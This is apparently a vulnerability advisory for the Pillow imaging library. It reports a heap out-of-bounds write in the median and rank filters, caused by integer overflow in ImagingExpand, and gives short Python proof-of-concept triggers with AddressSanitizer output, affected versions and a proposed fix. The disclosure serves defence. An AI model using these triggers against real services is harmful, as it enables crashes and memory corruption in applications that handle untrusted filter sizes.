Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}